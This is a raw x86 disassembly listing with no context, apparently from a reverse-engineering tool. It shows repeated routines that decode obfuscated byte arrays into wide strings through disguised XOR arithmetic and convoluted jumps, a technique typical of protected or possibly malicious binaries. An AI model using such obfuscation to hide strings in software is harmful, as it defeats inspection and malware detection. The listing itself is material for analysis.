add ebx, ebx
sub ecx, ebx
add cl, 0x9c
mov byte [esp + eax + 0x314], cl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x312]
add eax, 0xfffffffe
movzx ecx, bl
add ecx, edi
add eax, ecx
jmp 0x460b48
cmp esi, ecx
jne 0x460a68
lea edi, [eax - 0x1727d6c5]
lea ecx, [eax + edx]
add ecx, 0xe8d8293b
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0x63
mov byte [esp + eax + 0x314], cl
mov ecx, esi
jmp 0x460b19
lea ecx, [edi + 3]
cmp esi, ecx
jne 0x460ae7
lea ecx, [eax + 0x239badfe]
lea ebx, [eax + edx]
add ebx, 0x239badfe
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe
jmp 0x460b3f
mov dword [esp], ebp
lea ebp, [edi + 2]
cmp esi, ebp
je 0x460b19
lea ecx, [edi + 3]
cmp esi, ecx
mov ebp, dword [esp]
jne 0x460b1e
lea ecx, [eax - 0x3f2f5865]
lea ebx, [eax + edx]
add ebx, 0xc0d0a79b
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc3
jmp 0x460b3f
lea ebp, [edi + 5]
cmp esi, ebp
jne 0x460b0c
lea ecx, [eax - 0x77bcf357]
lea ebx, [eax + edx]
add ebx, 0x88430ca9
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x61
add esi, edi
mov ebp, esi
lea esi, [eax - 0x64a75eab]
lea ecx, [edx + eax]
add ecx, 0x9b58a155
and esi, edx
add esi, esi
sub ecx, esi
add cl, bl
add cl, 0xad
mov byte [esp + eax + 0x314], cl
jmp 0x460b3f
lea ecx, [edi + 0xa]
cmp esi, ecx
jne 0x460944
lea ecx, [eax - 0x29e3d9e8]
lea ebx, [eax + edx]
add ebx, 0xd61c2618
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x58
jmp 0x460b3d
lea ebp, [edi + 7]
cmp esi, ebp
jne 0x46096d
mov ecx, edi
dec eax
mov edi, ecx
jmp 0x460b48
lea ecx, [edi + 6]
cmp esi, ecx
jne 0x460b54
lea ecx, [eax + 0x73511fb5]
lea ebx, [eax + edx]
add ebx, 0x73511fb5
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd
mov ebp, esi
movzx ecx, bl
not ecx
add eax, ecx
mov esi, ebp
inc eax
cmp eax, 0x25
jb 0x460954
jmp 0x460bb5
lea ecx, [edi + 7]
cmp esi, ecx
je 0x4609de
lea ecx, [edi + 5]
cmp esi, ecx
je 0x460a0a
lea ecx, [edi + 4]
cmp esi, ecx
jne 0x460b8b
lea ecx, [eax + 0x131594ac]
lea ebx, [eax + edx]
add ebx, 0x131594ac
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x4c
jmp 0x460b3f
lea ebx, [eax + 0x59403c0d]
lea ecx, [eax + edx]
add ecx, 0x59403c0d
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0xa5
mov byte [esp + eax + 0x314], cl
jmp 0x460b48
lea edi, [esp + 0xa897dd]
jmp 0x460bc5
lea edi, [esp + 0x314]
jmp 0x460bc5
lea edi, [esp + 0x1685bd0]
mov dword [esp + 0x194], 0
mov dword [esp + 0x1a8], 7
mov word [esp + 0x194], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x460c1d
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x460c46
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x460c5f
mov dword [esp + 0x1a4], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x19c]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x194], 0
jmp 0x460ca6
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x460c6e
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x460c79
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x1a4], esi
mov dword [esp + 0x1a8], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x194], edi
movaps xmm0, xmmword [0x473a00]
movups xmmword [esp + 0x40], xmm0
mov dword [esp + 0x50], 0x2347217e
mov dword [esp + 0x54], 0x274325ac
mov word [esp + 0x58], 0x5958
xor eax, eax
mov dword [esp + 0x5e], eax
mov dword [esp + 0x5a], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x460f7d
mov dl, byte [esp + eax + 0x40]
movzx edi, dl
mov dword [esp], edi
lea ebp, [ecx + 1]
cmp esi, ebp
jae 0x460d19
cmp ecx, eax
ja 0x460f8c
lea ebx, [esi + ecx]
cmp ebx, eax
jbe 0x460d8f
cmp esi, ebp
je 0x460dcf
jmp 0x460cd3
jne 0x460d1f
mov ebp, ecx
jmp 0x460d86
lea ebx, [ecx + 3]
cmp esi, ebx
jne 0x460e00
lea ebx, [eax + 0x51b88138]
mov edi, dword [esp]
lea edx, [edi + eax]
add edx, 0x51b88138
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x78
mov byte [esp + eax + 0x40], dl
movzx edx, dl
not ecx
add ecx, eax
mov ebx, ecx
sub ebx, edx
mov dword [esp + 4], esi
mov esi, edi
lea edi, [ebx - 0x4b6c0d20]
lea eax, [ebx + esi]
add eax, 0xb493f2e0
and edi, esi
mov esi, dword [esp + 4]
add edi, edi
sub eax, edi
add al, 0xe0
mov byte [esp + ebx + 0x40], al
add edx, esi
inc esi
sub ecx, edx
mov dl, byte [esp + ecx + 0x3e]
add ecx, 0xfffffffe
mov eax, ecx
movzx ecx, dl
add ecx, ebp
add eax, ecx
jmp 0x460def
lea edi, [ecx + 6]
mov dword [esp + 0xc], edi
cmp esi, edi
jae 0x460e5a
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
lea ebx, [eax + 0x62db71a8]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x62db71a8
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x68
mov edi, edx
cmp esi, ebp
mov edx, dword [esp + 8]
jne 0x460e99
lea edx, [eax - 0x39b54568]
mov edi, dword [esp]
lea ecx, [edi + eax]
add ecx, 0xc64aba98
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0xd8
mov byte [esp + eax + 0x40], cl
dec eax
mov ecx, ebp
inc eax
cmp eax, 0x22
jb 0x460ce3
jmp 0x460f86
lea ebx, [ecx + 5]
cmp esi, ebx
jne 0x460ec4
lea ebx, [eax + 0x524c588]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x524c588
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x48
add esi, ecx
mov dword [esp + 4], esi
lea esi, [eax - 0x73fe6218]
mov edi, dword [esp]
lea ebx, [edi + eax]
add ebx, 0x8c019de8
and esi, edi
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0xa8
mov byte [esp + eax + 0x40], bl
movzx edx, dl
not edx
add eax, edx
mov esi, dword [esp + 4]
jmp 0x460df1
cmp esi, ebp
je 0x460d1b
mov dword [esp + 4], ebx
lea ebx, [ecx + 2]
cmp esi, ebx
je 0x460d2a
lea ebx, [ecx + 3]
cmp esi, ebx
jne 0x460f18
lea esi, [eax + 0x4edc32d0]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x4edc32d0
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x50
jmp 0x460e4d
lea ebx, [ecx + 2]
cmp esi, ebx
je 0x460ecb
lea ebx, [ecx + 5]
cmp esi, ebx
jne 0x460ee2
lea esi, [eax + 0x6adc8598]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x6adc8598
and esi, edi
add esi, esi
sub edx, esi
add dl, 0xd8
jmp 0x460e4d
lea ebx, [ecx + 7]
cmp esi, ebx
jne 0x460ed2
mov ebp, ecx
jmp 0x460dee
lea ebx, [ecx + 4]
cmp esi, ebx
jne 0x460cfc
jmp 0x460dcf
lea ebx, [ecx + 3]
cmp esi, ebx
je 0x460d2a
cmp esi, 0x1f
ja 0x460f47
cmp esi, dword [esp + 0xc]
jne 0x460f69
lea esi, [eax + 0x4c93bbb0]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x4c93bbb0
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x30
jmp 0x460e2c
lea ebx, [ecx + 7]
cmp esi, ebx
je 0x460dcf
mov dword [esp + 8], edx
lea ebx, [eax + 0x1c0052c8]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x1c0052c8
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x88
jmp 0x460dc1
lea esi, [eax + 0x29262c40]
mov edi, dword [esp]
lea ebx, [eax + edi]
add ebx, 0x29262c40
and esi, edi
add esi, esi
sub ebx, esi
add dl, bl
add dl, 0x40
jmp 0x460e2c
cmp ecx, 4
ja 0x460dcf
mov edx, edi
mov byte [esp + eax + 0x40], dl
jmp 0x460df1
lea edi, [esp + 0x4bcec8]
jmp 0x460f93
lea edi, [esp + 0x40]
jmp 0x460f93
lea edi, [esp + 0x1705d20]
mov dword [esp + 0x1ac], 0
mov dword [esp + 0x1c0], 7
mov word [esp + 0x1ac], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x460feb
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x461014
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x46102d
mov dword [esp + 0x1bc], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x1b4]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x1ac], 0
jmp 0x461074
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x46103c
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x461047
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x1bc], esi
mov dword [esp + 0x1c0], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x1ac], edi
movaps xmm0, xmmword [0x473a10]
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x30], 0xeb4fe9a8
mov dword [esp + 0x34], 0xef4bed62
mov word [esp + 0x38], 0xe1ee
mov dword [esp + 0x3a], 0
mov word [esp + 0x3e], 0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x4613e7
mov dl, byte [esp + eax + 0x20]
movzx ebx, dl
lea ebp, [ecx + 1]
cmp esi, ebp
jae 0x46111d
cmp ecx, eax
ja 0x4613f6
lea edi, [esi + ecx]
cmp edi, eax
jbe 0x461182
lea edx, [ecx + 3]
cmp esi, edx
je 0x4612a2
lea edx, [ecx + 6]
cmp esi, edx
je 0x46134f
lea edx, [ecx + 0xa]
cmp esi, edx
jne 0x461363
lea edi, [eax - 0x3edf7f6]
lea edx, [eax + ebx]
add edx, 0xfc12080a
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xba
jmp 0x461303
je 0x461313
lea edi, [ecx + 2]
cmp esi, edi
jne 0x46121d
lea edi, [eax + 0x1cfaa7d5]
lea edx, [ebx + eax]
add edx, 0x1cfaa7d5
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x2d
mov byte [esp + eax + 0x20], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
mov ecx, ebp
lea edi, [eax - 0x5a604f6c]
lea edx, [eax + ebx]
add edx, 0xa59fb094
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xf4
mov byte [esp + eax + 0x20], dl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0x1e]
add eax, 0xfffffffe
jmp 0x461313
lea edi, [ecx + 0x10]
cmp esi, edi
jae 0x461245
mov dword [esp + 4], esi
lea edi, [eax - 0x775af741]
mov esi, ebx
add ebx, eax
add ebx, 0x88a508bf
mov dword [esp], esi
and edi, esi
add edi, edi
sub ebx, edi
add bl, 0xc7
mov dword [esp + 8], ebx
lea edi, [ecx + 4]
mov esi, dword [esp + 4]
cmp esi, edi
jbe 0x46129b
lea edi, [eax - 0x70acea7d]
mov dword [esp + 4], esi
mov esi, dword [esp]
lea ebx, [eax + esi]
add ebx, 0x8f531583
mov dword [esp], esi
and edi, esi
mov esi, dword [esp + 4]
add edi, edi
sub ebx, edi
add bl, 0x6b
mov dword [esp + 8], ebx
lea edi, [ecx + 3]
cmp esi, edi
jbe 0x46130c
lea edx, [eax - 0x3b2332d2]
mov edi, esi
mov esi, dword [esp]
lea ebx, [eax + esi]
add ebx, 0xc4dccd2e
and edx, esi
mov esi, edi
add edx, edx
sub ebx, edx
add bl, 0xbe
mov byte [esp + eax + 0x20], bl
jmp 0x461354
lea edi, [ecx + 3]
cmp esi, edi
jne 0x4612c3
lea edi, [eax - 0x20e89fcb]
lea edx, [eax + ebx]
add edx, 0xdf176035
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x8d
jmp 0x461303
cmp esi, ebp
je 0x461313
lea edi, [ecx + 3]
cmp esi, edi
je 0x46112e
lea edi, [ecx + 4]
cmp esi, edi
je 0x46134f
mov dword [esp + 0xc], edi
lea edi, [ecx + 7]
cmp esi, edi
je 0x4612a2
mov dword [esp + 4], esi
lea edi, [eax + 0x3589b7ab]
mov esi, ebx
add ebx, eax
add ebx, 0x3589b7ab
mov dword [esp], esi
and edi, esi
add edi, edi
sub ebx, edi
add bl, 0x53
mov dword [esp + 8], ebx
mov edi, dword [esp + 0xc]
jmp 0x4611b4
cmp esi, ebp
mov ebx, dword [esp]
jne 0x46131c
lea edx, [eax - 0x5997b27]
lea ecx, [eax + ebx]
add ecx, 0xfa6684d9
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0x11
mov byte [esp + eax + 0x20], cl
jmp 0x461351
lea edi, [ecx + 5]
cmp esi, edi
jne 0x461344
lea edi, [eax - 0xf9e8e4d]
lea edx, [eax + ebx]
add edx, 0xf06171b3
and edi, ebx
mov ebp, ebx
mov bl, 0x1b
add edi, edi
sub edx, edi
add dl, bl
lea edi, [eax + 0xbb09657]
lea ebx, [eax + ebp]
add ebx, 0xbb09657
and edi, ebp
add edi, edi
sub ebx, edi
add bl, dl
add bl, 0x9f
mov byte [esp + eax + 0x20], bl
add esi, ecx
movzx edx, dl
not edx
jmp 0x461318
cmp esi, ebp
mov ebx, dword [esp]
jne 0x461370
movzx edx, dl
add edx, ecx
add eax, edx
jmp 0x461354
lea edi, [ecx + 2]
cmp esi, edi
je 0x46134f
lea edi, [ecx + 5]
cmp esi, edi
jne 0x46139c
lea edi, [eax - 0x8f08189]
lea edx, [eax + ebx]
add edx, 0xf70f7e77
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xbf
jmp 0x461305
lea edi, [ecx + 7]
cmp esi, edi
jne 0x4610cc
mov ebp, ecx
dec eax
mov ecx, ebp
inc eax
cmp eax, 0x20
jb 0x4610b6
jmp 0x4613f0
cmp esi, ebp
je 0x461157
jmp 0x4610a6
lea edx, [ecx + 2]
cmp esi, edx
je 0x46112e
cmp esi, edi
jne 0x4613be
lea edi, [eax + 0xa051326]
lea edx, [eax + ebx]
add edx, 0xa051326
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xf6
jmp 0x461305
lea edi, [ecx + 3]
cmp esi, edi
je 0x46112e
mov dword [esp], ebx
mov ebx, edi
lea edi, [ecx + 6]
cmp esi, edi
mov edi, ebx
jne 0x4611ed
jmp 0x461313
mov ebp, ebx
lea edx, [ecx + 5]
cmp esi, edx
mov ebx, dword [esp + 8]
jne 0x461214
lea edi, [eax + 0x2c993622]
lea edx, [eax + ebp]
add edx, 0x2c993622
and edi, ebp
mov bl, 0x12
jmp 0x4612df
lea edi, [esp + 0x46e933]
jmp 0x4613fd
lea edi, [esp + 0x20]
jmp 0x4613fd
lea edi, [esp + 0x161e074]
mov dword [esp + 0x1c4], 0
mov dword [esp + 0x1d8], 7
mov word [esp + 0x1c4], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x461455
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x46147e
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x461497
mov dword [esp + 0x1d4], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x1cc]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x1c4], 0
jmp 0x4614de
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x4614a6
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x4614b1
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x1d4], esi
mov dword [esp + 0x1d8], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x1c4], edi
movaps xmm0, xmmword [0x473a20]
movups xmmword [esp + 0x490], xmm0
mov dword [esp + 0x4a0], 0xe37afd59
mov dword [esp + 0x4a4], 0xe7e6e145
xorps xmm0, xmm0
movups xmmword [esp + 0x4a8], xmm0
xor eax, eax
mov dword [esp + 0x4bb], eax
mov dword [esp + 0x4b7], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x461772
mov dl, byte [esp + eax + 0x490]
movzx ebp, dl
lea ebx, [ecx + 1]
cmp esi, ebx
jae 0x46156f
cmp ecx, eax
ja 0x461784
lea edi, [esi + ecx]
cmp edi, eax
jbe 0x4615de
mov dword [esp], edi
lea edi, [ecx + 0xa]
cmp esi, edi
jne 0x461627
mov ebx, ecx
jmp 0x461652
je 0x4615d4
lea edi, [ecx + 2]
cmp esi, edi
jne 0x461603
lea edi, [eax - 0xf4e3316]
lea edx, [eax + ebp]
add edx, 0xf0b1ccea
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0x9a
mov byte [esp + eax + 0x490], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
mov ecx, ebx
lea edi, [eax + 0x4b77a628]
lea edx, [eax + ebp]
add edx, 0x4b77a628
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0xe8
mov byte [esp + eax + 0x490], dl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0x48e]
add eax, 0xfffffffe
movzx edx, dl
add edx, ecx
jmp 0x4616f3
cmp esi, ebx
jne 0x461648
lea edx, [eax - 0x7a65980e]
lea ecx, [eax + ebp]
add ecx, 0x859a67f2
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x62
mov byte [esp + eax + 0x490], cl
jmp 0x461652
lea edi, [ecx + 3]
cmp esi, edi
jne 0x46165a
lea edi, [eax + 0x30f4a32e]
lea edx, [eax + ebp]
add edx, 0x30f4a32e
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0xbe
jmp 0x4616ee
cmp esi, ebx
jne 0x461683
lea esi, [eax + 0x21a67018]
lea edx, [eax + ebp]
add edx, 0x21a67018
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0x58
jmp 0x4616c8
mov dword [esp], edi
lea edi, [ecx + 2]
cmp esi, edi
jne 0x4616a9
dec eax
mov ecx, ebx
jmp 0x4616f5
lea edi, [ecx + 5]
cmp esi, edi
jne 0x461701
lea edi, [eax - 0x63f3f7da]
lea edx, [eax + ebp]
add edx, 0x9c0c0826
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0xf6
add esi, ecx
mov edi, esi
jmp 0x4616cb
lea edi, [ecx + 0x10]
cmp esi, edi
je 0x46157c
lea edi, [ecx + 6]
cmp esi, edi
je 0x4615a8
lea edi, [ecx + 2]
cmp esi, edi
je 0x4615d4
jmp 0x46151e
lea edi, [ecx + 3]
cmp esi, edi
jne 0x461711
lea esi, [eax + 0x77538db6]
lea edx, [eax + ebp]
add edx, 0x77538db6
and esi, ebp
add esi, esi
sub edx, esi
add dl, 6
mov edi, dword [esp]
lea esi, [eax + 0x3b261a6e]
lea ebx, [eax + ebp]
add ebx, 0x3b261a6e
and esi, ebp
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0xfe
mov byte [esp + eax + 0x490], bl
mov esi, edi
movzx edx, dl
not edx
add eax, edx
inc eax
cmp eax, 0x2f
jb 0x46152e
jmp 0x46177b
lea edi, [ecx + 4]
cmp esi, edi
jne 0x461547
jmp 0x4615e2
lea edi, [ecx + 5]
cmp esi, edi
jne 0x461732
lea edi, [eax - 0x1d950d52]
lea edx, [eax + ebp]
add edx, 0xe26af2ae
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0x3e
jmp 0x4616ee
lea edi, [ecx + 4]
cmp esi, edi
je 0x46157c
lea edi, [ecx + 6]
cmp esi, edi
je 0x4615d4
cmp ecx, 0x27
ja 0x4615e2
lea edi, [eax + 0x5ac5d93e]
lea edx, [eax + ebp]
add edx, 0x5ac5d93e
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0x4e
mov byte [esp + eax + 0x490], dl
jmp 0x4616f5
lea edi, [esp + 0x73d376]
jmp 0x46178b
lea edi, [esp + 0x490]
jmp 0x46178b
lea edi, [esp + 0x16dfa38]
mov dword [esp + 0x1dc], 0
mov dword [esp + 0x1f0], 7
mov word [esp + 0x1dc], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x4617e3
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x46180c
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x461825
mov dword [esp + 0x1ec], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x1e4]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x1dc], 0
jmp 0x46186c
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x461834
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x46183f
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x1ec], esi
mov dword [esp + 0x1f0], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x1dc], edi
movaps xmm0, xmmword [0x473a30]
movups xmmword [esp + 0x3e4], xmm0
movaps xmm0, xmmword [0x473a40]
movups xmmword [esp + 0x3f4], xmm0
mov dword [esp + 0x404], 0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x461b27
mov dl, byte [esp + eax + 0x3e4]
movzx ebx, dl
lea ebp, [ecx + 1]
cmp esi, ebp
jae 0x4618ea
cmp ecx, eax
ja 0x461b39
lea edi, [ecx + 5]
cmp esi, edi
jae 0x46191f
mov dword [esp], ebp
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x461945
lea edx, [ecx + 2]
cmp esi, edx
jne 0x4619b9
mov ebp, dword [esp]
jmp 0x461a74
je 0x4619ad
lea edi, [ecx + 3]
cmp esi, edi
je 0x461955
lea edi, [ecx + 2]
cmp esi, edi
jne 0x4619fc
lea edi, [eax - 0x328ac8a8]
lea edx, [eax + ebx]
add edx, 0xcd753758
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x98
jmp 0x461a40
cmp esi, ebp
je 0x461a55
mov dword [esp + 4], ebx
lea ebx, [ecx + 3]
cmp esi, ebx
mov ebx, dword [esp + 4]
je 0x461955
lea ebx, [ecx + 4]
cmp esi, ebx
mov ebx, dword [esp + 4]
jne 0x4618cd
mov ebp, ecx
jmp 0x46197f
mov dword [esp + 8], ebp
cmp ebp, 6
mov ebp, dword [esp]
jne 0x4619e5
lea edi, [eax - 0x75558a78]
lea edx, [eax + ebx]
add edx, 0x8aaa7588
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x48
mov byte [esp + eax + 0x3e4], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
lea edx, [eax - 0x5e8167e0]
lea ecx, [eax + ebx]
add ecx, 0xa17e9820
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0x20
mov byte [esp + eax + 0x3e4], cl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0x3e2]
add eax, 0xfffffffe
mov ecx, ebp
movzx edx, dl
add edx, ecx
add eax, edx
jmp 0x461a77
lea edx, [ecx + 0x20]
cmp esi, edx
mov ebp, dword [esp]
je 0x4619f8
cmp esi, ebp
jne 0x461a86
lea edi, [eax - 0x4c8fc8c0]
lea edx, [eax + ebx]
add edx, 0xb3703740
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x40
jmp 0x461a40
cmp esi, ebp
je 0x461a55
mov dword [esp + 4], ebx
lea ebx, [ecx + 3]
cmp esi, ebx
jne 0x461a96
mov ebp, ecx
jmp 0x461a74
lea edi, [ecx + 5]
cmp esi, edi
jne 0x461a4a
lea edi, [eax + 0x28c5c1b8]
lea edx, [eax + ebx]
add edx, 0x28c5c1b8
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xf8
add esi, ecx
lea edi, [eax + 0x5d023058]
lea ebp, [ebx + eax]
add ebp, 0x5d023058
and edi, ebx
add edi, edi
mov ebx, ebp
sub ebx, edi
add bl, dl
add bl, 0x98
mov byte [esp + eax + 0x3e4], bl
movzx edx, dl
not edx
jmp 0x4619b2
lea edi, [ecx + 7]
cmp esi, edi
jne 0x4618be
lea edx, [eax + 0x2f59eb28]
lea ecx, [eax + ebx]
add ecx, 0x2f59eb28
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0xe8
mov byte [esp + eax + 0x3e4], cl
dec eax
mov ecx, ebp
inc eax
cmp eax, 0x24
jb 0x4618a5
jmp 0x461b30
lea edx, [ecx + 6]
cmp esi, edx
je 0x461955
jmp 0x461895
lea ebx, [ecx + 6]
cmp esi, ebx
jne 0x461ab5
lea edi, [eax - 0x7d8222a8]
mov ebx, dword [esp + 4]
lea edx, [eax + ebx]
add edx, 0x827ddd58
jmp 0x461911
cmp esi, edi
mov ebx, dword [esp + 4]
je 0x461941
lea edi, [ecx + 2]
cmp esi, edi
je 0x4619ad
cmp esi, 3
ja 0x461afe
cmp ecx, 1
ja 0x461a55
lea edi, [eax + 0x16d42298]
lea edx, [eax + ebx]
add edx, 0x16d42298
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xd8
mov byte [esp + eax + 0x3e4], dl
jmp 0x461a77
lea esi, [eax + 0x462e0dc0]
lea edi, [eax + ebx]
add edi, 0x462e0dc0
and esi, ebx
add esi, esi
sub edi, esi
mov esi, ebx
mov ebx, edi
add dl, bl
mov ebx, esi
add dl, 0xc0
mov esi, dword [esp + 8]
jmp 0x461a1d
lea edi, [esp + 0xdb649c]
jmp 0x461b40
lea edi, [esp + 0x3e4]
jmp 0x461b40
lea edi, [esp + 0x1474204]
mov dword [esp + 0x1f4], 0
mov dword [esp + 0x208], 7
mov word [esp + 0x1f4], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x461b98
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x461bc1
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x461bda
mov dword [esp + 0x204], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x1fc]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x1f4], 0
jmp 0x461c21
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x461be9
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x461bf4
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x204], esi
mov dword [esp + 0x208], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x1f4], edi
movaps xmm0, xmmword [0x473a50]
movups xmmword [esp + 0x4c0], xmm0
